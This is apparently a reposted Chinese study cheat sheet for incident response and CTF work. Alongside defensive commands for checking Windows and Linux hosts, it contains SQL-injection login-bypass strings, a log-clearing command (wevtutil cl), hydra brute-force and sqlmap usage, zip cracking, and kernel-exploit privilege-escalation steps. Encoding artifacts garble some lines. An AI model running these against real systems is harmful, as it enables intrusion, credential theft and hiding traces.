安全事件響應分析--基礎命令


----萬能密碼

'or'='or'
' 1 or #
1'or'1'='1?? ??? ?
1 or 1=1


=============安全事件響應分析==========

------***windoes***------方法

開機啟動有無異常文件
【開始】?【運行】?【msconfig】

文件排查
各個盤下的temp(tmp)相關目錄下查看有無異常文件 :Windows產生的
臨時文件
可以通過查看日志且通過篩選 ?
根據文件夾內文件列表時間進行排序,查找可疑文件。當然也可以搜索指
定日期范圍的文件及文件
------
文件排查
Recent是系統文件夾,里面存放著你最近使用的文檔的快捷方式,查看用
戶recent相關文件,通過分析最近打開分析可疑文件:
【開始】?【運行】?【%UserProfile%\Recent】
------
netstat -ano 查看目前的網絡連接,定位可疑的ESTABLISHED
netstat 顯示網絡連接、路由表和網絡接口信息;
參數說明:
-a 顯示所有網絡連接、路由表和網絡接口信息
-n 以數字形式顯示地址和端口號
-o 顯示與每個連接相關的所屬進程 ID
-r 顯示路由表
-s 顯示按協議統計信息、默認地、顯示IP
常見的狀態說明:
LISTENING 偵聽狀態
ESTABLISHED 建立連接
CLOSE_WAIT 對方主動關閉連接或網絡異常導致連接中斷

tasklist 顯示運行在本地或遠程計算機上的所有進程;
根據wmic process 獲取進程的全路徑
【開始】?【運行】?【compmgmt.msc】?【本地用戶和組】?【用
戶】 (用戶名以$結尾的為隱藏用戶,如:admin$)
命令行方式:net user,可直接收集用戶信息(此方法看不到隱藏用戶)
,若需查看某個用戶的詳細信息,可使用命令?net user username;
查看當前系統用戶的會話
使用? query user 查看當前系統的會話,比如查看是否有人使用遠程終
端登錄服務器;
logoff id號 //踢出該用戶; ?
5156(查看記錄遠程連接的信息)4720(查看創建的用戶)4726(查看刪除賬戶) ?

4624— 成功登錄

4625 —失敗的登錄

4634/4647 — 成功注銷

4648— 使用顯式(explicit)憑證登錄(RunAs)

4776/4672 — 用戶使用超級用戶權限的登錄 (Administrator)//特殊登錄。憑證驗證

4720 — 賬戶創建

4688 - 記錄重啟進程

4698計劃任務已創建/4699計劃任務已刪除/4700計劃任務已啟用/4701計劃任務已停用/4702計劃任務已變更// -計劃任務的詳細信息


------------------***Linux***--------方法

查看tmp目錄下的文件??? ls –alt /tmp/

查看開機啟動項內容???ls -alt /etc/init.d/,/etc/init.d 是z
/etc/rc.d/init.d 的軟鏈接
針對可疑文件可以使用stat進行創建修改時間、訪問時間的詳細查看,若
修改時間距離事件日期接近,有線性關聯,說明可能被篡改或者其他。
查看歷史命令記錄文件~/.bash_history
查看操作系統用戶信息文件/etc/passwd
/var/www/html/?? ?//這個目錄就是Apache的網站根目錄(默認是index.html)
用netstat 網絡連接命令,分析可疑端口、可疑IP、可疑PID及程序進程
netstat –antlp | more

?html目錄下: ? find -name "*.php" ?| grep flag 或者 【grep ?-i "flag" ./*】 {./*所有當前下根目錄的子目錄文件} ?====//找到所有關于.php的文件,同時顯示出來所在的目錄

crontab -l //查看定時啟動的任務

history//查看最近一些的命令

lastlog//查看最后一次登錄的情況

cat /var/log/lastlog或者last -f /var/log/lastlog //查看登錄情況


=========================常見命令==============

----------------------Windows下
cmd: ? ?systeminfo//查看系統信息
cmd: ? ?net user 名字 /add//創建“名字”的用戶
cmd: ? ? ?net user 名字/del//刪除“名字“的賬戶
cmd:?? ? ?wevtutil cl "logname"//清除所有安全日志
cmd: ? ? ? nvidia-smi//查看gpu的使用率
cmd: ?lusrmgr.msc //查看是否有新增/可疑的賬號
cmd: ? ?netstat -ano//查看當前網絡狀態
cmd: ? ?tasklist | findstr PID(進程號)//指定查看PID 的詳細信息
win+R: ?eventvwr.msc//查看事件查看器
win+R: ?eventvwr//查看事件查看器
win+R: ?Log Parser//日志進行分析
win+R: ?recent//查看最近修改的文件

----------------------------Linux下三劍客
----grep用法---
grep -n -i "root" ./flag.txt ?//
grep '^#' ./flag.txt //輸出以#開頭的內容
grep '\.$' ./flag.txt //輸出以.結尾的內容 ?/---{'/'轉義符【正則表達式除外可以不加】}{x$【輸出以x為結尾的內容】}?
grep '.x' ./flag.txt //輸出與x字母所匹配的所有行列
-i : 不區分大小寫/-n : 顯示匹配行及行號/-c : 只輸出匹配行的計數/ -v : 排除匹配結果 /^ : 匹配正則表達式的以“某字符串”開頭的行 '^#'//找出空行/-o : 只顯示匹配字符串的部分/. :單個字符,匹配任意一個字符 ?//[ - ] : 范圍匹配,如[A-C0-9],即A、B、C1、2、3等字母數字都符合要求;如[a,b],即只有a和b符合要求

擴展正則表達式grep實踐

使用grep -E進行實踐擴展正則
豎線|再正則中是或者的意思
grep -E "a|b" flag.txt//找帶有a或b的內容

---sed用法----

----awk用法---- ? ? file.txt內容為 【/bin/bash/flag/php】flag.txt 【flag/php/png】

awk '{print $1}' file.txt ?-----// ? ? ? 輸出并篩選出file文檔中以 空格符為分隔符的第一列且所有行的內容 ?【bin】
awk -F ":" '{print $1}' file.txt ----// ? ? 輸出并篩選出file文件中以:為分隔符的第一列且所有行的內容 ? ?
awk -F "/" '{print $1,$2,$NF}' file.txt ---//輸出并篩選出file文件中以/為分隔符的第一列、第二列和最后一列且所有行的內容并以,形式輸出【bin bash php】變量之間加上逗號?? ??? ??? ??? ??? ??? ??? ??? ??? ?就以變量之間空格的方式輸出出來
awk -v OFS="----" '{print $1,$2,$3}' ----//【bin----bash----flag】
awk '{print $1,"----",$NF}' file.txt ? ?-----輸出并篩選出file文件中以/為分隔符的第一列所有行的內容且變量之間以----輸出出來【bin ---- php】
awk '{print $1,NF,NR}' file.txt flag.txt ?-----//【等】
-F "//以字母或者符號為分隔符進行篩選" ? ? -v var=value 定義或修改一個awk內部的變量 ?OFS:輸出字段分隔符,默認為空白字符 ?-v OSF="\t"等

? { $0輸出一整行信息($n[篩選出第n列的內容])$NF顯示最后一列且所有行的內容;$NR}【分隔符默認為空格OFS輸出字段的分隔符 ;還有一種:FS?? ?指定每行的字段分隔符,默認為空格或制表位(相當于選項 -F )】NF?? ?【Number Fields】當前處理的行的字段個數(就是:有多少列) ? ? ?NR?? ?【Number Records】 ?當前處理的行的行號(就是:有多少行)


----uniq --
uniq -c 去重并進行計數多少次 ? ?

----head---

? -n//顯示文件的前3行?? ?
head -n 10 log.txt//顯示文件前10個字節

----sort ---
sort 從小到大進行排序 ? ? ??
sort -n 按照數字排序
sort -nr按照數字倒序排序
sort -t【指定分隔符排序】 -k 【指定第幾列進行排序】
sort -t “ ” -k 2 flag.txt //


openssl rsautl -decrypt -in key.txt -inkey rsa.key -out flag.txt //rsa解密

----------------------------------------------------------

chmod ?777 文件 ?//修改為最高的權限(可讀可寫可執行)

netdiscover –r ? ///掃描該與主機在同一網段存活的其他主機
nmap -sP IP網段(namp -sP 192.168.1.0/24) ///掃描該網段的存活的主機
arp-sacn -l 網段///掃描該網段的存活的主機

nmap -sS -sV -A -p- IP地址 ///掃描這個IP地址的一些常用的信息 ? // -A :(-A非常全面,但是時間久點)全面掃描 ?-p : 掃描指定的端口(-p-就是所有的端口就行掃描) -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式來對目標主機進行掃描(Nmap不需要通過完整的握手,就能獲得遠程主機的信息。Nmap發送SYN包到遠程主機,但是它不會產生任何會話.因此不會**在目標主機上產生任何日志記錄**,因為沒有形成會話。這個就是SYN掃描的優勢.如果Nmap命令中沒有指出掃描類型,默認的就是Tcp SYN.但是它需要root/administrator權限。-sV 版本掃描和開啟的服務
————————————————

dirb http://ip地址 ? ? ///掃描該地址的文件后綴
dirb http://ip地址 -X .php的后綴的地址 ? //掃描的后綴的地址 ?
dirb http://ip地址 robots.txt ? //掃描robots.php文件中有響應的網站

ssh 登錄名@IP地址 ?(ssh xiaoming@10.120.120.12)//進入ssh服務
可以進入python交互shell ?----python -c 'import pty;pty.spawn("/bin/bash")'----進行提權
uname -a 查看內核版本信息 ? ?searchsploit -m id后綴//下載對應的內核版本信息

scp 內核版本信息 用戶@地址 :/tmp(tmp臨時存放路徑)//上傳內核版本信息到對應的地址上,為python提權做準備//( scp 37292.c@xiaoming120.120.120.120:/tmp)
在python交互shell下切換到tmp目錄下 ?用命令 ?// ?--gcc xiaoming.c -o hello-- //編譯 xiaoming.c 并指定輸出文件為 hello ? ?//通過--whoami--命令查看自己的對用的權限用戶 ?


wget url (wget 瀏覽器的網址)//下載對應的文件

hydra -L 用戶文檔{找到文檔所在位置直接拖就行} -P 密碼文檔 {同} ip地址{所要爆破的地址} ssh;;[rdp/smp/ftp/pop3/mssql/mysql/oracle等]{或者其它的服務(rdp)}////用九頭蛇工具爆破網站用戶及密碼【成功的話,會把賬號和密碼高亮顯示出來】 ?---hydra -l root -P flag.txt 120.120.120.120 ssh---- ? ?/// -L 指定用戶名字典?? ? -l 指定用戶名?? ??? ??? ? ?-P 指定密碼字典?? ?

ftp IP地址 (ftp 10.120.120.12)//進入ftp下載文件用(get 文件名)下載文件?

sqlmap -u http://192.168.159.133/personel.php --data="kullanici_adi= &parola= " -b
-u 指定目標url
-b 檢索數據庫管理系統的標識
--data= 通過POST提交數據


unzip 文件 ?//(unzip 123.zip)---解壓文件

fcrackzip -D -u -p //-u 是顯示出來爆破出來的密碼 格式,對于使用字典命令是-D,但是必須要有-p 這個參數才行,也就是:--fcrackzip -u -D -p password.txt test.zip------
fcrackzip -b -c 1 -l 1-6 -p 0 -u 1.zip////-b 暴力破解
-c 指定掩碼類型(-c1=純數字,-c2=純字母,-c3=數字字母混合模式(a=a-z;1=0-9;!=特殊字符))
-l 1-6限制密碼長度為1到6
-p 0 初始化破解起點為 0
-u 顯示破解出來的密碼 ?


md5sum 123.jpg/txt/png/zip ?//查看123文件的MD5值
md5sum *.jpg/png/txt/等 ? //查看同一目錄下所有jpg/png/等文件MD5值可以進行對比,找到不同MD5值的異常文件

base64 -d 123.txt >> 12.txt ? //用base64解密123定向輸出到12 ? ----//-d用來解密 -e用來加密//(默認加密\\base64 123.txt >> 12)
echo "base64解密的字符" | -d //解密 -e加密


-----分析圖片----
exiftool ?1.jpg ? ?//查看圖片的詳細信息/會輸出一大片信息,包括分辨率,廠商,拍攝時間,EOTF,色域等信息,色域信息

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/89707.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/89707.shtml
英文地址,請注明出處:http://en.pswp.cn/web/89707.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于C#+SQL Server實現(Web)學生選課管理系統

學生選課管理系統的設計與開發一、項目背景學生選課管理系統是一個學校不可缺少的部分,傳統的人工管理檔案的方式存在著很多的缺點,如:效率低、保密性差等,所以開發一套綜合教務系統管理軟件很有必要,它應該具有傳統的…

垃圾回收(GC)

內存管理策略,在業務進程運行的過程中,由垃圾收集器以類似守護協程的方式在后臺運行,按照指定策略回收不再被使用的對象,釋放內存空間進行回收 優勢: 屏蔽內存回收的細節:屏蔽復雜的內存管理工作&#xff0…

Datawhale AI夏令營-機器學習

比賽簡介 「用戶新增預測挑戰賽」是由科大訊飛主辦的一項數據科學競賽,旨在通過機器學習方法預測用戶是否為新增用戶 比賽屬于二分類任務,評價指標采用F1分數,分數越高表示模型性能越好。 如果你有一份帶標簽的表格型數據,只要…

Spring IOC容器在Web環境中是如何啟動的(源碼級剖析)?

文章目錄一、Web 環境中的 Spring MVC 框架二、Web 應用部署描述配置傳統配置(web.xml):Java配置類(Servlet 3.0):三、核心啟動流程詳解1. 啟動流程圖2. ★容器初始化入口:ContextLoaderListene…

18個優質Qt開源項目匯總

1,Clementine Music Player Clementine Music Player 是一個功能完善、跨平臺的開源音樂播放器,非常適合用于學習如何開發媒體類應用,尤其是跨平臺桌面應用。它基于 Qt 框架開發,支持多種操作系統,包括 Windows、macO…

計算機視覺:AI 的 “眼睛” 如何看懂世界?

1. 什么是計算機視覺:讓機器 “看見” 并 “理解” 的技術1.1 計算機視覺的核心目標計算機視覺(CV)是人工智能的一個重要分支,它讓計算機能夠 “看懂” 圖像和視頻 —— 不僅能捕捉像素信息,還能分析內容、提取語義&am…

華為OD刷題記錄

華為OD刷題記錄 刷過的題 入門 1、進制 2、NC61 doing 訂閱專欄

QT學習教程(二十五)

雙緩沖技術&#xff08;Double Buffering&#xff09;&#xff08; 2、公有函數實現&#xff09;#include <QtGui> #include <cmath> using namespace std; #include "plotter.h"以上代碼為文件的開頭&#xff0c;在這里把std 的名空間加入到當前的全…

設計模式筆記_結構型_裝飾器模式

1.裝飾器模式介紹裝飾器模式是一種結構型設計模式&#xff0c;允許你動態地給對象添加行為&#xff0c;而無需修改其代碼。它的核心思想是將對象放入一個“包裝器”中&#xff0c;這個包裝器提供了額外的功能&#xff0c;同時保持原有對象的接口不變。想象一下&#xff0c;你有…

day25 力扣90.子集II 力扣46.全排列 力扣47.全排列 II

子集II給你一個整數數組 nums &#xff0c;找出并返回所有該數組中不同的遞增子序列&#xff0c;遞增子序列中 至少有兩個元素 。你可以按 任意順序 返回答案。數組中可能含有重復元素&#xff0c;如出現兩個整數相等&#xff0c;也可以視作遞增序列的一種特殊情況。示例 1&…

Solidity 中的`bytes`

在 Solidity 中&#xff0c;bytes 和 bytes32 都是用來保存二進制數據的類型&#xff0c;但它們的長度、使用場景、Gas 成本完全不同。? 一句話區分類型一句話總結bytes32定長 32 字節&#xff0c;適合做哈希、地址、標識符等固定長度數據。bytes動態長度字節數組&#xff0c;…

初學者STM32—PWM驅動電機與舵機

一、簡介 上一節課主要學習了輸出比較和PWM的基本原理和結構&#xff0c;本節課就主要以實踐為主通過STM32最小系統板和驅動器控制舵機和直流電機。 上一節課的坐標 初學者STM32—輸出比較與PWM-CSDN博客 二、舵機 舵機是一種根據輸入PWM信號占空比來控制輸出角度的裝置 輸…

C++中的異常處理機制:try-catch

一、基本概念 異常&#xff08;Exception&#xff09;&#xff1a;程序執行過程中發生的非正常情況&#xff0c;比如除以零、訪問越界、內存不足等。 異常處理&#xff08;Exception Handling&#xff09;&#xff1a;對異常情況進行捕獲、分析&#xff0c;并采取補救措施&…

如何從 Windows 11 或 10 遠程訪問 Ubuntu 24.04 或 22.04 桌面

了解如何使用 RDP(遠程桌面協議)從 Windows 11 或 10 遠程連接 Ubuntu 24.04 Noble 或 22.04 LTS Jammy JellyFish 桌面的步驟。 Windows 提供了一個便捷的功能,稱為遠程桌面連接,它使用 RDP 協議來遠程連接 PC。當從 Windows 系統建立遠程桌面連接時,使用起來非常簡單,…

Linux 服務器中,Tab 鍵自動補全功能失效

在 Linux 服務器中&#xff0c;Tab 鍵自動補全功能失效通常與 bash-completion 組件缺失或配置異常有關。以下是解決問題的兩個關鍵 YUM 指令及操作步驟&#xff1a;1. 安裝 bash-completion 組件 sudo yum install -y bash-completion說明&#xff1a; bash-completion 是提供…

SpringBoot服裝推薦系統實戰

Spring Boot 服裝推薦系統實例 以下是基于Spring Boot實現的服裝推薦系統的30個實例代碼示例,涵蓋核心功能和實現方法。 用戶注冊與登錄功能 @RestController @RequestMapping("/api/auth") public class AuthController {@Autowiredprivate UserService userSer…

WIN10系統優化篇(一)

你是否疑惑為什么別人家的電腦運行速度飛快&#xff0c;而自己的卻卡頓難用&#xff1f;其實&#xff0c;很多時候 Windows 系統可以通過簡單的優化措施來提升使用體驗。本文根據項目實戰多年對 Win10 優化經驗&#xff0c;將幫你找出系統卡頓的原因&#xff0c;并給出針對性的…

Flutter狀態管理篇之ChangeNotifier基礎篇(一)

目錄 前言 一、什么是ChangeNotifier 二、ChangeNotifier 的基本用法 三、結合Flutter UI 使用 四、結合 Provider 的高級用法 五、ChangeNotifier 的優勢與注意事項 5.1 優勢 5.2 注意事項 六、與 ValueNotifier 的比較 七、實際應用場景 八、總結 前言 在 Flutter…

react17更新哪些新特性

React 17 是一個“無新特性”的發布版本&#xff0c;它的主要目標是為未來的 React 版本打好基礎&#xff0c;同時改善與舊版本共存和升級的體驗。雖然沒有引入新的開發者 API&#xff0c;但它在內部做了很多重要的改進。以下是 React 17 的核心更新內容和特性&#xff1a;&…

Unity 常見數據結構分析與實戰展示 C#

Unity 常見數據結構分析與實戰展示 提示&#xff1a;內容純個人編寫&#xff0c;歡迎評論點贊&#xff0c;來指正我。 文章目錄Unity 常見數據結構分析與實戰展示1. 引言2. Unity 數據結構概述3. 常見數據結構1. 數組&#xff08;Array&#xff09;2. 列表&#xff08;List&…